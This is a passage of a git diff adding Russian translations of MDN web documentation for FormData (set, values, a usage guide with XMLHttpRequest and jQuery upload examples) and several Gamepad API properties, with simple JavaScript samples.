+ <dd>Значение, присваиваемое полю. В варианте с двумя параметрами, это <a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>, если нет, то оно будет конвертировано. В варианте с тремя параметрами это может быть <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a>, <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Интерфейс File представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту."><code>File</code></a>, или <a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>, И снова, если ни один из них не указан в значении то оно будет конвертировано в строку.</dd>
+ <dt><code>filename </code>{{optional_inline}}</dt>
+ <dd>Имя файла, которое будет отправлено серверу (<a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>), когда <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Интерфейс File представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту."><code>File</code></a> прошел проверку как второй параметр. Стандартное имя файла для <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> объектов это "blob".</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Если вы укажете <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> в качестве данных для включения в объект <code>FormData</code>, имя файла будет указано для сервера в заголовке "Content-Disposition" и может отличаться от браузера к браузеру.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код создает пустой <code>FormData</code> объект:</p>
+
+<pre class="brush: js">var formData = new FormData(); // Сейчас пустой</pre>
+
+<p>Вы можете установить для него пару ключ/значение, используя {{domxref("FormData.set")}}:</p>
+
+<pre class="brush: js">formData.set('username', 'Chris');
+formData.set('userpic', myFileInput.files[0], 'chris.jpg');</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-set','set()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{Compat("api.FormData.set")}}</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/using_formdata_objects/index.html b/files/ru/web/api/formdata/using_formdata_objects/index.html
new file mode 100644
index 0000000000..0e2b1312ec
--- /dev/null
+++ b/files/ru/web/api/formdata/using_formdata_objects/index.html
@@ -0,0 +1,141 @@
+---
+title: Использование Объектов FormData
+slug: Web/API/FormData/Using_FormData_Objects
+translation_of: Web/API/FormData/Using_FormData_Objects
+---
+<p class="summary">Объект <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> позволяет создать набор пар ключ/значение и передать их, используя <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>.</code> Объект <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> предназначен для передачи данных форм, однако может быть использован для передачи пар ключ/значение независимо от форм. Данные передаются в том же формате, как и данные, передаваемые методом <code>{{domxref("HTMLFormElement.submit","submit()")}}</code> формы, с установленной кодировкой <code>enctype="multipart/form-data"</code>.</p>
+
+<h2 id="Создание_объекта_FormData">Создание объекта FormData</h2>
+
+<p>Вы можете самостоятельно создать пустой объект <code>FormData</code>, наполнив его затем данными, используя его метод {<code>{domxref("FormData.append","append()")}}:</code></p>
+
+<pre class="brush: js">var formData = new FormData();
+
+formData.append("username", "Groucho");
+formData.append("accountnum", 123456); // число 123456 немедленно преобразуется в строку "123456"
+
+// Файл, выбранный пользователем
+formData.append("userfile", fileInputElement.files[0]);
+
+// JavaScript Blob объект
+var content = '&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;'; // содержимое нового файла...
+var blob = new Blob([content], { type: "text/xml"});
+
+formData.append("webmasterfile", blob);
+
+var request = new XMLHttpRequest();
+request.open("POST", "http://foo.com/submitform.php");
+request.send(formData);
+</pre>
+
+<div class="note"><strong>Примечание:</strong>  Поля "userfile" и "webmasterfile" оба содержат файлы. Число, переданное полю "accountnum" немедленно преобразуется в строку. Преобразование осуществляется методом <code><a href="/en/DOM/XMLHttpRequest/FormData#append()" title="en/XMLHttpRequest/FormData#append()">FormData.append()</a></code> (Значение поля может быть {{ domxref("Blob") }}, {{ domxref("File") }}, или строкой: <strong>если значение не является ни Blob, ни File, то оно автоматически преобразуется в строку).</strong></div>
+
+<p>Данный пример показывает создание экземпляра <code>FormData</code>, содержащего поля "username", "accountnum", "userfile" и "webmasterfile". Экземпляр <code>FormData</code> затем отправляется при помощи метода <code><a href="/en/DOM/XMLHttpRequest#send()" title="en/XMLHttpRequest#send()">send()</a></code> объекта <code>XMLHttpRequest</code>. Поле "webmasterfile" является экземпляром класса <code>{{domxref("Blob")}}</code>. Объект класса <code>Blob</code> является файло-подобным объектом, содержащим "сырые" данные. Определение данных как <code>Blob</code> не является обязательным в нативном javascript. Интерфейс<code> {{ domxref("File") }} </code>базируется на <code>Blob</code>, наследуя его функциональность и расширяя его для поддержки файлов в ОС пользователя. Для создания объектов класса <code>Blob</code> используйте <code>{{domxref("Blob.Blob","Blob() constructor")}}</code>.</p>
+
+<h2 id="Получение_объекта_FormData_из_HTML_формы">Получение объекта FormData из HTML формы</h2>
+
+<p>Для создания объекта <code>FormDatа</code>, содержащего данные существующей формы<code> ({{ HTMLElement("form") }}</code>) передайте форму в качестве аргумента при создании объекта <code>FormData:</code></p>
+
+<div class="note">
+<p><strong>Примечание: </strong>FormData будет использовать только те поля ввода, которые используют атрибут name.</p>
+</div>
+
+<pre class="brush: js">var formData = new FormData(someFormElement);
+</pre>
+
+<p>Например:</p>
+
+<pre class="brush: js">var formElement = document.querySelector("form");
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+request.send(new FormData(formElement));
+</pre>
+
+<p>Вы так же можете добавить дополнительные данные в объект <code>FormData </code>после его создания и до отправки данных:</p>
+
+<pre class="brush: js">var formElement = document.querySelector("form");
+var formData = new FormData(formElement);
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+formData.append("serialnumber", serialNumber++);
+request.send(formData);</pre>
+
+<p>Такой приём позволяет включать в форму дополнительную информацию, которая, например, не нуждается в демонстрации пользователю.</p>
+
+<h2 id="Отправка_файлов_при_помощи_объекта_FormData">Отправка файлов при помощи объекта FormData</h2>
+
+<p>Вы так же можете отправлять файлы при помощи <code>FormData. </code>Просто включите <code>{{ HTMLElement("input") }}</code> с типом <code>file </code>в форму.</p>
+
+<pre class="brush: html">&lt;form enctype="multipart/form-data" method="post" name="fileinfo"&gt;
+  &lt;label&gt;Your email address:&lt;/label&gt;
+  &lt;input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /&gt;&lt;br /&gt;
+  &lt;label&gt;Custom file label:&lt;/label&gt;
+  &lt;input type="text" name="filelabel" size="12" maxlength="32" /&gt;&lt;br /&gt;
+  &lt;label&gt;File to stash:&lt;/label&gt;
+  &lt;input type="file" name="file" required /&gt;
+  &lt;input type="submit" value="Stash the file!" /&gt;
+&lt;/form&gt;
+&lt;div&gt;&lt;/div&gt;
+</pre>
+
+<p>Затем вы сможете отправить выбранный файл следующим образом:</p>
+
+<pre class="brush: js">var form = document.forms.namedItem("fileinfo");
+form.addEventListener('submit', function(ev) {
+
+  var oOutput = document.querySelector("div"),
+      oData = new FormData(form);
+
+  oData.append("CustomField", "This is some extra data");
+
+  var oReq = new XMLHttpRequest();
+  oReq.open("POST", "stash.php", true);
+  oReq.onload = function(oEvent) {
+    if (oReq.status == 200) {
+      oOutput.innerHTML = "Uploaded!";
+    } else {
+      oOutput.innerHTML = "Error " + oReq.status + " occurred when trying to upload your file.&lt;br \/&gt;";
+    }
+  };
+
+  oReq.send(oData);
+  ev.preventDefault();
+}, false);
+</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Если для формы указан атрибут <code>method</code>, то будет использован именно этот метод для отправки данных на сервер, а не метод, указанный в вызове <code>open()</code></p>
+</div>
+
+<p>Вы так же можете добавить <code>{{ domxref("File") }}</code> или <code>{{ domxref("Blob") }}</code> непосредственно к объекту <code>{{ domxref("FormData") }}:</code></p>
+
+<pre class="brush: js">data.append("myfile", myBlob, "filename.txt");
+</pre>
+
+<p>Метод<code> {{domxref("FormData.append","append()")}} </code>принимает 3й опциональный параметр - название файла, которое добавляется в заголовок <code>Content-Disposition </code>при отправке на сервер. Если название файла не указано (или данный параметр не поддерживается) используется имя "blob".</p>
+
+<p>Вы так же можете использовать <code>FormData</code> с jQuery:</p>
+
+<pre class="brush: js">var fd = new FormData(document.querySelector("form"));
+fd.append("CustomField", "This is some extra data");
+$.ajax({
+  url: "stash.php",
+  type: "POST",
+  data: fd,
+  processData: false,  // Сообщить jQuery не передавать эти данные
+  contentType: false   // Сообщить jQuery не передавать тип контента
+});
+</pre>
+
+<h2 id="Отправка_форм_и_файлов_при_помощи_AJAX_без_использования_объекта_FormData">Отправка форм и файлов при помощи AJAX <em>без использования</em> объекта <code>FormData</code></h2>
+
+<p>Если вы заинтересованы в отправке форм и файлов при помощи <a href="/en-US/docs/AJAX" title="/en-US/docs/AJAX">AJAX</a> <em>без использования</em> FormData, прочитайте <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="данную статью">/ru/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files</a></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li>{{domxref("HTMLFormElement")}}</li>
+ <li>{{domxref("Blob")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed Arrays</a></li>
+</ul>
diff --git a/files/ru/web/api/formdata/values/index.html b/files/ru/web/api/formdata/values/index.html
new file mode 100644
index 0000000000..55026a018f
--- /dev/null
+++ b/files/ru/web/api/formdata/values/index.html
@@ -0,0 +1,70 @@
+---
+title: FormData.values()
+slug: Web/API/FormData/values
+translation_of: Web/API/FormData/values
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>The <code><strong>FormData.values()</strong></code> метод возвращает {{jsxref("Iteration_protocols",'iterator')}} позволяя пройтись по всем значениям в этом объекте. Значения - это {{domxref("USVString")}} или {{domxref("Blob")}} объекты.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">formData.values();</pre>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Возвращает {{jsxref("Iteration_protocols","iterator")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js;highlight:[7]">// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the values
+for (var value of formData.values()) {
+   console.log(value);
+}
+</pre>
+
+<p>Результат:</p>
+
+<pre>value1
+value2</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','values() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.FormData.values")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Использование FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/gamepad/axes/index.html b/files/ru/web/api/gamepad/axes/index.html
new file mode 100644
index 0000000000..eb16be54c3
--- /dev/null
+++ b/files/ru/web/api/gamepad/axes/index.html
@@ -0,0 +1,70 @@
+---
+title: Gamepad.axes
+slug: Web/API/Gamepad/axes
+translation_of: Web/API/Gamepad/axes
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p>Свойство <code><strong>Gamepad.axes</strong></code> интерфейса {{domxref("Gamepad") }} возвращает массив, показывающий состояние элементов управления, имеющих оси направления, такие как джойстики на геймпаде.</p>
+
+<p>Каждый элемент массива - дробное число в диапазоне от -1.0 до 1.0, показывающий состояние от самого маленького значения (-1.0) до самого высокого (1.0).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly    attribute <span class="idlAttrType">double[]</span>            <span class="idlAttrName">axes</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">function gameLoop() {
+  if(navigator.webkitGetGamepads) {
+    var gp = navigator.webkitGetGamepads()[0];
+  } else {
+    var gp = navigator.getGamepads()[0];
+  }
+
+  if(gp.axes[0] != 0) {
+    b -= gp.axes[0];
+  } else if(gp.axes[1] != 0) {
+    a += gp.axes[1];
+  } else if(gp.axes[2] != 0) {
+    b += gp.axes[2];
+  } else if(gp.axes[3] != 0) {
+    a -= gp.axes[3];
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = rAF(gameLoop);
+};</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>Массив значений {{domxref("double") }} </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#dom-gamepad-axes", "Gamepad.axes")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Gamepad.axes")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad/buttons/index.html b/files/ru/web/api/gamepad/buttons/index.html
new file mode 100644
index 0000000000..f17b3cc9d1
--- /dev/null
+++ b/files/ru/web/api/gamepad/buttons/index.html
@@ -0,0 +1,91 @@
+---
+title: Gamepad.buttons
+slug: Web/API/Gamepad/buttons
+translation_of: Web/API/Gamepad/buttons
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+
+
+<p>Свойство <code><strong>Gamepad.buttons</strong></code> интерфейса {{domxref("Gamepad") }} возвращает массив, сосотоящий из объектов {{domxref("gamepadButton")}}, представляющие кнопки, представленные на устройстве (геймпаде). </p>
+
+<p>Каждый элемент в массиве равен 0 если кнопка не нажата, и не-нуль (обычно 1.0) если нажата. Каждый объект {{domxref("gamepadButton")}} содержит два параметра: <code>pressed</code> и <code>value</code>:</p>
+
+<ul>
+ <li>Свойство <code>pressed</code>  - boolean индикатор, показывающий, нажата ли кнопка (<code>true</code>) или нет (<code>false</code>).</li>
+ <li>Свойство <code>value</code> - число с плавающей точкой, показывающая степень нажатия на аналоговую кнопку (как тригггеры на многих современных геймпадах). Значение нормализованно в диапазоне 0.0 – 1.0, где 0.0 указывает, что кнопка не нажата, а 1.0 - что нажата полностью.</li>
+</ul>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox notranslate">readonly    attribute GamepadButton[]     buttons;</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Приведенный код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете  <a href="http://chrisdavidmills.github.io/gamepad-buttons/" rel="noopener">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master" rel="noopener">посмотреть исходники на GitHub</a>). Важно — в Chrome <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> неободимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в  Firefox <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> нет необходимости устанавливать префикс, и значения будут представлять собой массив  объектов <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton"><code>GamepadButton</code></a>; Свойство <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/value" rel="nofollow"><code>GamepadButton.value</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/pressed" rel="nofollow"><code>GamepadButton.pressed</code></a> необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p>
+
+<pre class="brush: js notranslate">function gameLoop() {
+  if(navigator.webkitGetGamepads) {
+    var gp = navigator.webkitGetGamepads()[0];
+
+    if(gp.buttons[0] == 1) {
+      b--;
+    } else if(gp.buttons[1] == 1) {
+      a++;
+    } else if(gp.buttons[2] == 1) {
+      b++;
+    } else if(gp.buttons[3] == 1) {
+      a--;
+    }
+  } else {
+    var gp = navigator.getGamepads()[0];
+
+    if(gp.buttons[0].value &gt; 0 || gp.buttons[0].pressed == true) {
+      b--;
+    } else if(gp.buttons[1].value &gt; 0 || gp.buttons[1].pressed == true) {
+      a++;
+    } else if(gp.buttons[2].value &gt; 0 || gp.buttons[2].pressed == true) {
+      b++;
+    } else if(gp.buttons[3].value &gt; 0 || gp.buttons[3].pressed == true) {
+      a--;
+    }
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = window.requestAnimationFrame(gameLoop);
+};</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>Массив из объектов {{domxref("gamepadButton")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#dom-gamepad-buttons", "Gamepad.buttons")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Gamepad.buttons")}}</p>
+
+<div id="compat-mobile"></div>
+
+<h2 id="См._также">См. также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad/connected/index.html b/files/ru/web/api/gamepad/connected/index.html
new file mode 100644
index 0000000000..8170c0f537
--- /dev/null
+++ b/files/ru/web/api/gamepad/connected/index.html
@@ -0,0 +1,48 @@
+---
+title: Gamepad.connected
+slug: Web/API/Gamepad/connected
+translation_of: Web/API/Gamepad/connected
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p>Свойство <code><strong>Gamepad.connected</strong></code> интерфейса {{domxref("Gamepad") }} возвращает логическое значение того, подключен ли всё ещё геймпад к системе.</p>
+
+<p>Если геймпад подключен - значение равно <code>true</code>; если нет - <code>false</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute"> readonly    attribute <span class="idlAttrType">boolean</span>             <span class="idlAttrName">connected</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var gp = navigator.getGamepads()[0];
+console.log(gp.connected);</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>{{jsxref("Boolean")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#widl-Gamepad-connected", "Gamepad.connected")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Gamepad.connected")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad/displayid/index.html b/files/ru/web/api/gamepad/displayid/index.html
new file mode 100644
index 0000000000..0b3f71009e
--- /dev/null
+++ b/files/ru/web/api/gamepad/displayid/index.html
@@ -0,0 +1,58 @@
+---
+title: Gamepad.displayId
+slug: Web/API/Gamepad/displayId
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/Gamepad/displayId
+---
+<p>{{DefaultAPISidebar("WebVR API")}}{{SeeCompatTable}}</p>
+
+<p>Свойство <strong>displayId</strong> только для чтения {{domxref("Gamepad")}} возвращаемый интерфейс<dfn> {{domxref("VRDisplay.displayId")}} связанный с {{domxref("VRDisplay")}} —  <code>VRDisplay</code>  (дисплей виртуальной реальности) в котором геймпад управляет отображаемой сценой.</dfn></p>
+
+<p>Геймпад считается связанным с {{domxref("VRDisplay")}} если он сообщает о позиции, которая находится в том же месте, что и {{domxref("VRDisplay.pose")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var myDisplayId = gamepadInstance.displayId;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Число, представляющее связанный интерфейс {{domxref("VRDisplay.displayId")}}.Если число равно 0, то геймпад не связан с дисплеем VR( виртуальной реальности).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">window<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"gamepadconnected"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{
+  if(</span>!e<span class="punctuation token">.</span>gamepad<span class="punctuation token">.displayId) {
+    </span>console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Gamepad connected'</span><span class="punctuation token">)</span><span class="punctuation token">;
+  } else {</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Gamepad connected, associated with VR display ' +</span> e<span class="punctuation token">.</span>gamepad<span class="punctuation token">.displayId</span><span class="punctuation token">)</span><span class="punctuation token">;
+  }</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#gamepad-getvrdisplays-attribute', 'displayId')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.Gamepad.displayId")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демосцены, материалы, доступные для скачивания и другие материалы команды the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/gamepad/id/index.html b/files/ru/web/api/gamepad/id/index.html
new file mode 100644
index 0000000000..ef66df6574
--- /dev/null
+++ b/files/ru/web/api/gamepad/id/index.html
@@ -0,0 +1,59 @@
+---
+title: Gamepad.id
+slug: Web/API/Gamepad/id
+translation_of: Web/API/Gamepad/id
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<p>Свойство<strong> <code>Gamepad.id</code></strong> интерфейса {{domxref("Gamepad") }} возвращает строку, содержащую некоторую информацию о контроллере.</p>
+
+<p>Существующий синтаксис не стандартизирован, но в Firefox эта строка представляет собой три значения, разделенные тире (<code>-</code>):</p>
+
+<ul>
+ <li>Две четырехзначных шестнадцатеричных строки, содержащих USB vendor id (<code>VID</code>) и product id (<code>PID</code>) контроллера</li>
+ <li>Имя контроллера, предоставленное драйвером.</li>
+</ul>
+
+<p>Например, PS2 контроллер вернет <code><strong>810-3-USB Gamepad</strong></code>.</p>
+
+<p>Эта информация позволяет вам найти соответствие для элементов управления контроллера, а также, отобразить полезную информацию для пользователя.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly    attribute <span class="idlAttrType">DOMString</span>           <span class="idlAttrName">id</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function() {
+  var gp = navigator.getGamepads()[0];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ".";
+});</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>{{jsxref("String")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#widl-Gamepad-id", "Gamepad.id")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Gamepad.id")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad/index.html b/files/ru/web/api/gamepad/index.html
new file mode 100644
index 0000000000..2059e361da
--- /dev/null
+++ b/files/ru/web/api/gamepad/index.html
@@ -0,0 +1,92 @@
+---
+title: Gamepad
+slug: Web/API/Gamepad
+translation_of: Web/API/Gamepad
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<p>Интерфейс <strong><code>Gamepad</code></strong> <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> определяет отдельный геймпад или контроллер, предоставляющий доступ к такой информации, как: нажатие кнопок, позиции осей, и id.</p>
+
+<p>Объект <code>Gamepad</code> может быть возвращен в одном из двух случаев: как свойство <code>gamepad</code> событий {{event("gamepadconnected")}} и {{event("gamepaddisconnected")}}, или считыванием любой позиции в массиве, возвращенном методом {{domxref("Navigator.getGamepads()")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Gamepad.displayId")}} {{readonlyInline}}</dt>
+ <dd><dfn>Возвращает {{domxref("VRDisplay.displayId")}} связанный с {{domxref("VRDisplay")}} (при необходимости) — <code>VRDisplay</code> отображаемая область которого управляется геймпадом.</dfn></dd>
+ <dt>{{domxref("Gamepad.id")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} содержит идентификационную информацию о контроллере.</dd>
+ <dt>{{domxref("Gamepad.index")}} {{readonlyInline}}</dt>
